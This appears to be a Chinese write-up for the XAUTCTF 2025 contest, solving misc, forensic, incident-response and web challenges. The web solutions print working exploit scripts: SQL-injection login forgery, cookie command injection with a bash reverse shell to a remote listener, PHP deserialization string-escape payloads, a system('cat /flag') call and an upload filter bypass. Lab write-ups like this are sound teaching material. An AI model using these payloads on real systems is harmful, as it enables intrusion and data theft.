[TOC]
Misc SignIn 题目描述
出题人: Peng 难度: 签到
%58%41%55%54%43%54%46%7B%57%65%31%63%30%6D%65%5F%74%30%5F%58%41%55%54%43%54%46%7D
题解
URL解码即可
try 题目描述
出题人: Peng 难度: 入门
黑客意外获得了Peng常用密码的前5位13897
,但不知道具体的位数,请你尝试恢复出完整的密码。
题解
根据题目猜测为11位手机号
使用Advanced Archive Password Recovery
爆破,攻击类型选掩码,暴力范围选所有数字,掩码处填13897??????
点击开始,约2分钟即可爆破成功,没猜出具体位数的话依次增加?
的个数尝试即可
1 XAUTCTF{Cell_phone_numbers_are_also_weak_passwords}
QR_code? 题目描述
出题人: Peng 难度: 中等
Peng在github上发现了一个好玩的项目,竟然可以利用摄像头传输文件!
题解
根据题目描述,以及文件名cimbar.jpg
,搜索发现github项目sz3/libcimbar
阅读发现可以安装解码软件 ,没有安卓手机可以使用安卓模拟器
扫描成功后保存文件,然后上传到电脑查看,使用010 Editor打开,观察文件头发现是png文件
修改文件后缀后打开图片,看起来像二维码
在cimbar.png的文件尾发现提示HanXin_code
搜索发现是汉信码,使用在线解码工具 解码失败,观察汉信码的构成,发现图片疑似被反色
使用随波逐流的图片反色即可
在线扫码工具扫码得到flag
1 XAUTCTF{H4nX1n_c0de_1s_am4z1ng}
滴滴嗒嗒 题目描述
出题人: Peng 难度: 普通
嗒滴滴 滴 滴 滴嗒嗒滴 滴滴滴 嗒嗒嗒 滴滴嗒 嗒滴 嗒滴滴
题解
根据题目描述,听音频,猜测为摩斯电码
在线解码 ,自定义短码为滴,长码为嗒,得到提示deepsound
使用在线摩尔斯电码音频解码器 ,解码得到password:8kf76f0q6ru2nkwf
使用deepsound导入音频,密码是小写的(摩斯电码没有大小写区分,都试一下)
点击Extract提取隐藏的flag
1 XAUTCTF{5e35e341-2b77-4c26-a4ee-b6269ce1d709}
攻击日志分析 题目描述
出题人: Peng 难度: 中等
某网站数据库遭到黑客攻击,请你帮忙分析数据库泄露了什么信息,并尝试解密信息
题解
方法一
sql 时间盲注日志,观察日志格式,写正则脚本提取,可以网上查找类似脚本稍作修改
1 "GET /index.php?id=1%22%20and%20if(ascii(substr((select%20group_concat(key)%20from%20aes%20limit%200,1),1,1))='50',sleep(3),1)%20--+ HTTP/1.1" 200 546
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import repayload_list = [] result_dict = {} result_list = [] re_str = r"flag\S+\),(\d+),\S+='(\d+)" f = open ("access.log" , "r" ) lines = '' .join(f.readlines()).split("\n" ) number_pattern = re.compile (r'{}' .format (re_str)) for line in lines: number = number_pattern.findall(line) if number: payload_list.append(number[0 ]) print (number[0 ]) print ("result:" , end="" )for i in payload_list: result_dict[i[0 ]]=i[1 ] for value in result_dict.values(): result_list.append(int (value)) for j in result_list: print (chr (j), end="" )
key
iv
最后,使用cyberchef进行aes解密,密文为提取出的flag
方法二
观察发现,每条日志后面有546或519,546应该是成功的日志,写脚本把含有546的日志提取出来
1 2 3 4 5 file=open ('access.log' ,'r' ) w=open ('output.log' ,'w' ) for line in file: if '519' not in line: w.write(line)
观察发现,字段名有flag,iv,key,猜测为aes加密,表名也有提示是aes加密
手动提出来解ascii码即可
此题为动态flag
沙滩,海洋,大冒险! 题目描述
出题人: BR 难度: 普通
“Play, play, and a little competition!”
一到假期,BR就迫不急待跑出去玩了!可恶,校赛题还没有出完呢,这怎么能行?!
BR不愿意透露自己去哪里玩了,但是我们通过一些社会工程学手段打听到了一些信息。
现在你需要基于题目附件给出的提示推断出BR去哪里玩了,并且找到BR出发时 乘坐的那一班飞机!
flag为:XAUTCTF{搭乘的飞机航班号}
示例:假如搭乘的是1月31日07:00-09:15从北京首都国际机场飞往上海浦东国际机场的东航MU5100,则flag为:XAUTCTF{MU5100}
题解
题目给到聊天记录作为附件:
简单看一遍可以知道对方是从某个地方到另一个地方去,中途经过了转乘,整个过程至少搭乘了高铁和飞机。
查看图一:
看到该图片情景中的道路上有路牌,其离张骞墓 仅有4公里。
可以知道此处大致位于陕西省汉中市城固县。
此处确实也有高铁站和机场,进一步证实我们的判断,可以推测对方是从汉中城固机场 起飞的。
百度识图图三和图四:
可以确定目的地在海南海口。
目的地机场为海口美兰国际机场 。
在航旅纵横 (飞常准 亦可)中可以查询往期航班。
结合聊天记录中的时间,进行筛选:
找到目标航班,航班号为GX8898,flag为XAUTCTF{GX8898}
应急响应 应急响应-1钓鱼邮件 题目描述
出题人: Peng 难度: 简单 下载链接: 群文件 | 百度网盘 解压密码: 9345166a-297f-4569-b2cc-7ed6a4331c40
近日,Peng的个人电脑遭到黑客攻击,请你帮Peng溯源攻击链。
黑客发送的钓鱼邮件的发件地址是?
例:XAUTCTF{123456@qq.com}
题解
解压,使用Vmware17.x导入虚拟机,点击vmx后缀文件即可导入
在下载
里发现邮件,也可使用everthing
按文件时间排序,找到最近修改的文件。
用记事本打开即可发现发件人邮箱,也可以用在线 EML 编辑器
1 XAUTCTF{wspz@hacker.com}
应急响应-2一句话木马 题目描述
出题人: Peng 难度: 中等
黑客写入的一句话木马的连接密码是?
例:XAUTCTF{cmd}
题解
在桌面看到安装了phpstudy,打开网站发现是空白
方法一
打开网站根目录查看,经过搜索,发现是蝉知7.7系统,后台地址是
1 http://localhost/www/admin.php
账号密码用edge浏览器打开时有记录,直接登录
搜索蝉知7.7漏洞,找到文章蝉知企业门户系统v7.7 - 命令执行漏洞_蝉知7.7-CSDN博客
得知可以在设计-高级中写一句话木马,最终,在首页发现一句话木马
方法二
使用d盾查杀网站文件,直接找到后门
也可以直接在文件中搜索eval等关键词
应急响应-3后门用户 题目描述
出题人: Peng 难度: 入门
黑客的添加的后门用户是?
例:XAUTCTF{hacker}
题解
网络搜索 得知,windows用户名后加$
便无法通过net user
命令查询到
方法一
在windows开始菜单,点击头像即可显示后门用户
方法二
在控制面板中查询后门用户,此时可以看到,后门用户是Administrator管理员权限,更加确定是黑客为了维持权限而创建的用户
应急响应-4病毒文件 题目描述
出题人: Peng 难度: 中等
黑客植入的病毒程序的外连ip及端口是
例:XAUTCTF{192.168.0.1:8080}
题解
在c盘根目录发现奇怪的程序,也可用everything找到,也可用火绒杀毒找到
拖入微步在线云沙箱 分析,得到样本报告 ,发现确实是病毒文件
在网络行为里找到ip和端口
也可运行在虚拟机运行程序后使用 netstat -ano
命令查看
1 XAUTCTF{202.97.36.184:4782}
应急响应-5勒索钱包 题目描述
出题人: Peng 难度: 简单
黑客留下的勒索钱包地址是?
例:XAUTCTF{1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa}
题解
在桌面的勒索信中找到钱包地址
1 XAUTCTF{1oixtLbBewubT5cvRPd86ZEDLKgDFUe47C}
总结 事件还原
综合以上分析可以推测:
Peng用phpstudy搭建了蝉知7.7 系统,并且使用Cpolar 内网穿透到了公网,分享给其他人访问,但因贪小便宜点击了钓鱼邮件,泄露了常用密码 ,黑客使用密码成功进入后台,由于没有安装最新网站系统,存在安全漏洞,被植入一句话木马 ,黑客利用一句话木马,添加了后门用户 ,植入了恶意病毒 ,获得了电脑的完整控制权。
Web 2048Game 题目描述
出题人: cykan 难度: 困难
python代码审计,有”一”点难度
题解
进入题目为登录窗口,同时给出了题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 import osimport subprocessimport loggingimport sqlite3import uuidfrom flask import Flask, request, render_template, make_responsefrom pathlib import Pathfrom datetime import datetimefrom werkzeug.security import check_password_hashlogging.basicConfig(level=logging.INFO, format ='%(asctime)s - %(levelname)s - %(message)s' ) logger = logging.getLogger(__name__) app = Flask(__name__) BASE_DIR = "/tmp" timeout = 1000 * 60 * 60 DB_NAME = 'users.db' def get_db_connection (): conn = sqlite3.connect(DB_NAME) conn.row_factory = sqlite3.Row return conn def init_db (): conn = get_db_connection() conn.execute(''' CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL ) ''' ) conn.commit() conn.close() def get_time_now () -> int : """ Get current timestamp (milliseconds) :return: Current timestamp """ return int (datetime.now().timestamp() * 1000 ) def run_command (command: str ) -> str : """ Function to execute system commands using Python, for future use :param command: System command :return: Output of the executed command """ logger.info(f"Executing command: {command} " ) result = subprocess.run(command, capture_output=True , text=True , shell=True ) return result.stdout.strip() def create_file_with_path (file_path: str ) -> None : """ Create a file at the given path and write the expiration time :param file_path: Storage path for the file :return: None """ directory = os.path.dirname(file_path) if not os.path.exists(directory): os.makedirs(directory) logger.info(f"Created directory: {directory} " ) with open (file_path, 'w' ) as file: file.write(str (get_time_now() + timeout) + "\n" ) logger.info(f"Created file: {file_path} " ) def save_session (sess_id: str ) -> None : """ Save session value to corresponding file :param sess_id: Session value :return: None """ session_file_name = "session_" + sess_id create_file_with_path(os.path.join(BASE_DIR, session_file_name)) logger.info(f"Saved session: {sess_id} " ) def checking_session_survival (directory: str , sess_id: str ) -> bool : """ Check if the corresponding session is still valid by traversing the session folder :param directory: File path to traverse :param sess_id: Session value to find :return: Whether the session is still valid """ logger.info(f"Traversing directory: {directory} " ) for item in Path(directory).rglob('*' ): if item.is_file(): logger.info(f'Processing file: {item} ' ) if sess_id not in str (item): logger.debug(f"{sess_id = } " ) logger.info(f"Filename does not contain SESSID: {item} " ) continue now_time = get_time_now() over_time = run_command("cat %s" % str (item)) try : if int (over_time) < int (now_time): logger.info("SESSID expired" ) return False else : logger.info("SESSID valid" ) return True except Exception as ex: logger.error(f"Error processing file: {str (ex)} " ) logger.warning("No valid file found" ) return False @app.route('/login' , methods=['POST' , 'GET' ] ) def login (): username = request.form.get('username' ) password = request.form.get('password' ) try : conn = get_db_connection() user = conn.execute("SELECT * FROM users WHERE username = '%s'" % username).fetchone() conn.close() except Exception as ex: logger.error(f"{str (ex) = } " ) if user and check_password_hash(user['password' ], password): sess_id = request.cookies.get('SESSID' ) if sess_id is None : sess_id = str (uuid.uuid4()) response = make_response(render_template('index.html' )) response.set_cookie('SESSID' , sess_id, httponly=True ) save_session(sess_id) return response else : return render_template('403.html' ) @app.route('/' , methods=['POST' , 'GET' ] ) def index (): sess_id = request.cookies.get('SESSID' ) if sess_id is not None : if checking_session_survival(BASE_DIR, sess_id): logger.info("Check successful" ) return render_template('index.html' ) else : logger.info("Check failed" ) return render_template('login.html' ) if __name__ == '__main__' : init_db() app.run(host="0.0.0.0" , port=5000 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import sqlite3import randomimport stringfrom werkzeug.security import generate_password_hashDB_NAME = 'users.db' def get_db_connection (): conn = sqlite3.connect(DB_NAME) conn.row_factory = sqlite3.Row return conn def init_db (): conn = get_db_connection() conn.execute(''' CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL ) ''' ) conn.commit() conn.close() def generate_random_string (length: int ) -> str : return '' .join(random.choices(string.ascii_letters + string.digits, k=length)) def add_random_users (num_users: int ): conn = get_db_connection() for _ in range (num_users): username = generate_random_string(8 ) password = generate_random_string(12 ) hashed_password = generate_password_hash(password) try : conn.execute('INSERT INTO users (username, password) VALUES (?, ?)' , (username, hashed_password)) print (f"Added user: {username} with password: {password} " ) except sqlite3.IntegrityError: print (f"Username {username} already exists, skipping." ) conn.commit() conn.close() if __name__ == '__main__' : init_db() add_random_users(5 ) print ("Database created and random users added." )
漏洞点在于app.py
中的login
路由可以自定义sess_id
,在登录成功后,会被作为文件名写入在/tmp
目录下,而在index
路由中有对于session是否存活的检测,其中存在命令执行函数,会使用cat
命令获取文件内容,而倘若文件名是恶意命令拼接,则会导致RCE
。
要解此题,我们首先需要进行登录,写入带有恶意文件名,在访问根路由进行RCE
。
根据源码,在app.py
中的第使用了不安全的第130行使用了不安全的sql
语句的构造方法,并且username
可控,这便会造成sql
注入问题,根据getdb.py
源码来看,数据库中存在随机生成的账户和密码哈希,即使通过sql
注入获取到了该账户和密码哈希也无法进行破解,无法借此登录。
此时需要转变下思路,既然不知道账户密码,我们可以仿照格式利用sql
注入来伪造一个账户,例如我想要伪造一个账户名为BR
,密码为123456
的账户,仿照getdb.py
中add_random_users()
函数的方法,执行以下sql
语句:
1 select 0 ,'BR' ,'scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e' ;
得到的结果是:
执行以下sql
语句则返回:
1 SELECT * FROM users WHERE username = 'aaa' union select 0 ,'BR' ,'scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e' ;
对于程序来说,便会误以为获取的这个值是从实际数据库中获取的,从而实现伪造登录的目的。
仿照数据格式进行构造:
那么登录的用户名便是:
1 BR' union select 0,'BR','scrypt:32768:8:1$97VxEEe6azNa3Jhw$9a14e8f27f9bc13ffce5af50f307e23e7ac04a5702359318785fb8e6db5120de0d822bb3d5affa1f69de07fe4cec1dfa2eeb90ecf60730f0890370c273615b3e'--+
密码是:
登录进来是一个2048小游戏,打累了可以歇会()。
接下来就需要写入恶意文件名来RCE
了,没有回显,需要打一个无回显RCE
,写静态文件或者反弹shell都可。
payload:
1 2 3 |bash -c "bash -i >& /dev/tcp/ip/port 0>&1" 或 |cat /flag > static/result.txt
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsfrom werkzeug.security import generate_password_hashurl = "http://47.121.201.96:64202/" username = "admin" password = "123456" sess_id = f'|cat /flag > static/result.txt' def login (): hasd_password = generate_password_hash(password) post_data = { "username" : f"{username} ' union select 0,'{username} ','{hasd_password} '--+" , "password" : password } return requests.post(url+"login" , data=post_data, headers={"Cookie" : f"SESSID={sess_id} " }) def index (): return requests.get(url,headers={"Cookie" : f"SESSID={sess_id} " }) def get_result (): return requests.get(url+"static/result.txt" ) if __name__ == "__main__" : login() index() print (get_result().text)
附上ckyan的漏洞利用工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import base64import argparsefrom pwn import *context.log_level = 'debug' parser = argparse.ArgumentParser(description="Exploit of XAUTCTF2025 WEB-2048Game" ) parser.add_argument("--ip" , type =str , default="47.121.201.96" , help ="IP address" ) parser.add_argument("--port" , type =int , default=0 , help ="Port number" ) parser.add_argument('--rip' , "--reverse_ip" , type =str , default="" , help ="Reverse IP address" ) parser.add_argument("--rport" ,"--reverse_port" , type =int , default=1337 , help ="Reverse port number" ) args = parser.parse_args() ip = args.ip port = args.port reverse_ip = args.rip reverse_port = args.rport if reverse_ip == "" : parser.print_help() exit(0 ) p = remote(ip, port) """ from werkzeug.security import generate_password_hash print(generate_password_hash("123456")) """ command = f"bash -i >& /dev/tcp/{reverse_ip} /{reverse_port} 0>&1" command_bytes = command.encode('ascii' ) base64_bytes = base64.b64encode(command_bytes) base64_command = base64_bytes.decode('ascii' ) print (f'{base64_command = } ' )poc = 'bash${IFS}-c${IFS}"$(echo${IFS}%s|base64${IFS}-d)"' % base64_command payload = '' payload += 'POST /login HTTP/1.1\r\n' payload += 'Host: %s:%s\r\n' % (ip, str (port)) payload += 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0\r\n' payload += 'Content-Type: application/x-www-form-urlencoded\r\n' payload += 'Content-Length: 221\r\n' payload += 'Cookie: SESSID=/tmp/1.txt&%s;\r\n' % poc payload += '\r\n' payload += "username=ck' union select 0, 'ck', 'scrypt:32768:8:1$EnqnntHbS0UGSr25$b397fe3cfd04c9a0b06a2febfe4dd9554c64999325e6b416adc3fdff1daaf8abfc6defe59e3e9ba351cc07a11846dab0afe4d1e96867d994d2be62360e0633bb' --+ '&password=123456\r" p.send(payload.encode()) sleep(1 ) p.close() sleep(1 ) p = remote(ip, port) payload2 = '' payload2 += 'POST / HTTP/1.1\r\n' payload2 += 'Host: %s:%s\r\n' % (ip, str (port)) payload2 += 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0\r\n' payload2 += 'Content-Type: application/x-www-form-urlencoded\r\n' payload2 += 'Content-Length: 221\r\n' payload2 += 'Cookie: SESSID=1.txt&%s;\r\n' % poc payload2 += '\r\n' p.send(payload2.encode())
运行示例:python3 exp.py --ip 47.121.201.96 --port 58290 --rip 47.121.201.96 --rport 55555
监听:nc -lvnp 55555
EZ_PHP 题目描述
出题人: Echo 难度: 简单
太好了,是PHP,我们有救了!
题解
题目给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php show_source (__FILE__ );require ('flag.php' );$a = $_GET ['a' ];if ($_POST ['XAUT_CTF.COM' ] && preg_match ('/^xaut$/im' ,$a )){ if (preg_match ('/^xaut$/i' ,$a )){ echo 'nonono' ; } else { if (isset ($_POST ['m' ]) && isset ($_POST ['n' ])){ $m =$_POST ['m' ]; $n =$_POST ['n' ]; parse_str ($m ,$t ); if ($t ['xaut' ] == md5 ($n )){ echo $flag ; } } else { die ("你离胜利不远啦,加油!!" ); } } } else { echo '请绕过一下哦!' ; }
完成以下条件即可获取flag:
POST传入XAUT_CTF.COM
参数使其有值;
GET传入a
参数,且其需要满足preg_match('/^xaut$/im',$a)
的匹配;
GET传入a
参数,且其需要不满足preg_match('/^xaut$/i',$a)
的匹配;
POST传入m
参数和n
参数,使m参数按照URL查询参数的格式解析后,其xaut
参数的值与n
的md5值相同;
对于条件1,需要利用php的解析特性达成,参考PHP字符串解析特性 ,传入XAUT[CTF.COM=1
即可;
对于条件2与条件3,条件2是多行匹配,条件3是单行匹配,当传入a=%0axaut
时(%0a是换行符的url编码),条件2在第一行没有匹配到,在第二行匹配到,条件达成,而条件3在第一行没有匹配到,匹配失败,条件达成;
对于条件4,传入m=xaut=19d3326f3137cbadd21ce901a9bed4a7&n=BR
即可
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = "http://47.121.201.96:58325/" def exp (): post_data = { "XAUT[CTF.COM" : "1" , "m" : "xaut=19d3326f3137cbadd21ce901a9bed4a7" , "n" : "BR" } res = requests.post(url+"?a=%0axaut" ,data=post_data) return res if __name__ == "__main__" : res = exp().text print (res)
独孤九剑 题目描述
出题人: hsad 难度: 普通
一名程序员正在调试一款应用,却发现数据在传输过程中变得异常,数据似乎被人进行了篡改。
于是经过一番研究,他决定到这些特殊的字符串需要特殊处理,避免被恶意利用。
为了修复这个问题,他设计了一套机制,可以自动检测和规范化信息格式,还能将一些错误的片段替换为安全的内容。最终,他成功解 决了漏洞,让系统运行得更加稳定和高效……….吗?
题解
访问题目获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );require_once ('Linghuchong.php' );$Move = isset ($_GET ['move' ]) ? $_GET ['move' ] : '独孤九剑' ;$Checker = new Orz ($Move );$before = serialize ($Checker );$after = Lonely_Nine_Swords ::Make_a_Move ($before );echo 'Your Movements: ' . $after . '<br>' ;try { echo unserialize ($after ); }catch (Exception $e ) { echo "Caused a error..." ; } ?>
再访问看一下Linghuchong.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php if (basename ($_SERVER ['SCRIPT_FILENAME' ]) === basename (__FILE__ )) { highlight_file (__FILE__ ); } class Lonely_Nine_Swords { private static $esoterica = array ( "di_yi_shi" => "Gen_Stance" , "di_er_shi" => "Sword-defeating_Stance" , "di_san_shi" => "Saber-defeating_Stance" , "di_si_shi" => "Spear-defeating_Stance" , "di_wu_shi" => "Whip-defeating_Stance" , "di_liu_shi" => "Chain_whip-defeating_Stance" , "di_qi_shi" => "Palm-defeating_Stance" , "di_ba_shi" => "Arrow-defeating_Stance" , "di_jiu_shi" => "Qi-defeating_Stance" ); public static function Make_a_Move ($move ) { foreach (self ::$esoterica as $index => $movement ){ $move = str_replace ($index , $movement , $move ); } return $move ; } } class Orz { public $Move = '' ; public $Sword_Owner = 'Nobodyxxxx' ; function __construct ($move ) { $this ->Move = $move ; $this ->Sword_Owner = 'Nobodyxxxx' ; } function __toString ( ) { if ($this ->Sword_Owner !== 'DuguQiubai' ){ return "You still don't understand the way of swordsmanship" ; } else { $f = fopen ("/flag" , "r" ); $flag = fread ($f , filesize ("/flag" )); fclose ($f ); return "You are a true swordsman..." . $flag ; } } } ?>
很明显当Orz
类中的Sword_Owner
的值为DuguQiubai
时即可获取flag。
move
参数是由我们使用GET方法传入的,受到我们控制,及类中的Move
可控,但这并无法修改被写死的Sword_Owner
的值。
注意到存在Lonely_Nine_Swords::Make_a_Move($move)
这么一个方法的使用,那么他有什么用呢?
这个方法遍历传入的$move
这个字符串的字符,如果匹配到$esoterica
这个数组中的”键”,就会把他替换成”值”,例如题目中di_yi_shi
这个”键”对应着Gen_Stance
这个”值”,倘若我们传入的字符串中存在di_yi_shi
,那么它就会被替换为Gen_Stance
,
即
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:9 :"di_yi_shi" ;s:11 :"Sword_Owner" ;s:10 :"Nobodyxxxx" ;}
会变为
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:9 :"Gen_Stance" ;s:11 :"Sword_Owner" ;s:10 :"Nobodyxxxx" ;}
这就会导致字符串逃逸 的问题,详细可以看看这些博客资源
我们最终需要从这样的字符串:
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:2 :"BR" ;s:11 :"Sword_Owner" ;s:10 :"Nobodyxxxx" ;}
转变为类似这样的字符串:
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:7 :"BR" ;s:11 :"Sword_Owner" ;s:10 :"DuguQiubai" ;}
实际上php反序列化只会截取指定长度的部分,即:
1 2 3 O:3 :"Orz" :2 :{s:4 :"Move" ;s:2 :"BR" ;s:11 :"Sword_Owner" ;s:10 :"Nobodyxxxx" ;} 与 O:3 :"Orz" :2 :{s:4 :"Move" ;s:2 :"BR" ;s:11 :"Sword_Owner" ;s:10 :"Nobodyxxxx" ;}aaaaaaaaa
表示的含义相同,因此我们需要使得Move
参数为BR";s:11:"Sword_Owner";s:10:"Nobodyxxxx";}
这样子,经过拼接就变为了:
我们希望它读到这样形式的字符串就停止,并忽略后面的字符:
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:42 :"BR" ;s:11 :"Sword_Owner" ;s:10 :"DuguQiubai" ;}
而s:42
则表示他还要读42个字符,”BR”只有两个字符,显然并不够,于是需要用到字符串逃逸 了!
还记得刚刚提到的这个字符串吗?
1 O:3 :"Orz" :2 :{s:4 :"Move" ;s:9 :"Gen_Stance" ;s:11 :"di_yi_shi" ;s:10 :"Nobodyxxxx" ;}
本来我们之前传入的di_yi_shi
是九个字符没错,但是Gen_Stance
是十个字符,却仍然是s:9
,就会导致一个字符的逃逸!
而";s:11:"Sword_Owner";s:10:"DuguQiubai";}
则有40个字符需要被逃逸。
简单写一个小脚本计算一下”键”与”值”的差值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $esoterica = array ( "di_yi_shi" => "Gen_Stance" , "di_er_shi" => "Sword-defeating_Stance" , "di_san_shi" => "Saber-defeating_Stance" , "di_si_shi" => "Spear-defeating_Stance" , "di_wu_shi" => "Whip-defeating_Stance" , "di_liu_shi" => "Chain_whip-defeating_Stance" , "di_qi_shi" => "Palm-defeating_Stance" , "di_ba_shi" => "Arrow-defeating_Stance" , "di_jiu_shi" => "Qi-defeating_Stance" ); foreach ($esoterica as $key => $value ){ echo strlen ($value )-strlen ($key ); echo " " ; $a = str_replace ($key , $value , $a ); }
即这几个键值的替换依次会造成1 13 12 13 12 17 12 13 9
的逃逸。
由1+13+17+9=40
可知,选择第一、二、六、九式即可。
最终payload为:
1 ?move=BRdi_yi_shidi_er_shidi_liu_shidi_jiu_shi";s:11:"Sword_Owner";s:10:"DuguQiubai";}
unser 题目描述
出题人: Echo 难度: 入门
小李是一位初学编程的小伙子,刚接触一种新语言。他发现这门语言操作数据的方式很特别,可以把复杂的信息转化为看似简单的文本,又能轻松恢复成原来的样子。
为了练习,他写了一个小程序,记录好友的名字和生日。小李把这些信息转换成一个奇怪的格式保存起来。几天后,他用程序还原了这些数据,发现好友的生日一条不少。他很开心,觉得自己迈出了学习的第一步。
这次成功让小李充满信心,他开始觉得学编程并没有想象中那么难嘛!
题解
题目给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );include ("flag.php" );class login { public $user ; public $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="admin" and $this ->pass=="admin123" ){ return True; } } } if (isset ($_GET ['flag' ])){ $a =unserialize ($_GET ['flag' ]); if ($a ->login ()) { echo $flag ; } }
非常基础的php序列化与反序列化题目,直接给出EXP:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class login { public $user ; public $pass ; } $a = new login ();$a ->user="admin" ;$a ->pass="admin123" ;echo serialize ($a );?>
重生之我在CTF里打ACM 题目描述
出题人: BR 难度: 简单
“上一世,我因为熬夜打Codeforces没做出签到题而被活活气死,这一世我重生归来发现全球acm水平下降一万倍!!我随手一写的冒泡排序就让一众world-final金牌选手叹为观止!!!这次我定将一雪前耻!”
“握草,这咋是CTF???”
题解
进入题目,是一个在线测评系统:
先正常操作一下,写一个简单的c语言代码:
1 2 3 4 5 6 7 8 #include <stdio.h> int main () { int a,b; scanf ("%d %d" ,&a,&b); printf ("%d" ,a+b); return 0 ; }
很遗憾,没有通过:
访问/tip可以获取到代码执行结果:
全部WA掉了,看来是高精度,网上随便找个高精度加法代码就行。
但是这里不是ACM,即使AC了该题也并不能获得flag!
注意到我们可以输入执行任意C/C++代码,同时可以得到命令执行的结果,于是我们直接执行系统命令即可!
执行代码:
1 2 3 4 int main () { system("cat /flag" ); return 0 ; }
访问/tip
路由:
Jenkins 题目描述
出题人: BR 难度: 普通
坏了,我不会java,这怎么打???
题解
Jenkins是开源的,使用Java编写的持续集成的工具。
不会java没关系,直接搜现成CVE直接打就行。
进入登录界面:
结合题目名字CVE,直接搜索关键词Jenkins
CVE
:
可以看到存在CVE-2024-23897
Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户
在github搜索CVE-2024-23897
:
godylockz/CVE-2024-23897: POC for CVE-2024-23897 Jenkins File-Read
下载poc脚本运行:
更多原理可自行查阅相关博客。
ez_upload 题目描述
出题人: BR 难度: 普通
“找不到上传的文件在哪不就没有文件上传漏洞了吗!” —-BR过于自信的说到
这次粗心的BR似乎在出完题后忘记删除掉某些东西了
题解
随便尝试上传一个文件,提示:
正常上传一个图片,可以成功上传,但是不知道上传的文件路径:
查看根路由源码,存在提示:
或许泄露了备份源码信息,使用ihoneyBakFileScan_Modify
扫描一下看看:
dirsearch
亦可:
存在www.zip文件,下载下来解压即为源码:
查看upload.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $uploadDir = 'uploads/' ; $originalName = basename ($_FILES ['file' ]['name' ]); $nameParts = explode ('.' , $originalName ); $fileExtension = isset ($nameParts [1 ]) ? $nameParts [count ($nameParts ) - 1 ] : '' ; $randomNumber = mt_rand (0 , 100 ); $hashedFolderName = md5 (md5 ($randomNumber )); $folderPath = $uploadDir . $hashedFolderName . '/' ; if (!is_dir ($folderPath )) { mkdir ($folderPath , 0755 , true ); } $uploadFile = $folderPath . $originalName ; if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadFile )) { $fileInfo = getimagesize ($uploadFile ); if ($fileInfo === false ) { unlink ($uploadFile ); echo "Upload failed: File is not a valid image." ; exit ; } echo "File successfully uploaded.But I won't tell you where the file was uploaded!" ; } else { echo "File upload failed." ; } } ?>
简单阅读代码,可以看到,程序仅接收图片类型的文件,并且生成一个文件夹(随机取一个0-100之间的整数将其进行两次MD5运算,将其作为该文件夹的名字),将上传的文件放置在该文件夹中。
针对 程序仅接收图片类型的文件 这一点,后端是对文件内容进行校验的,只需要在木马文件最开始加上GIF89a
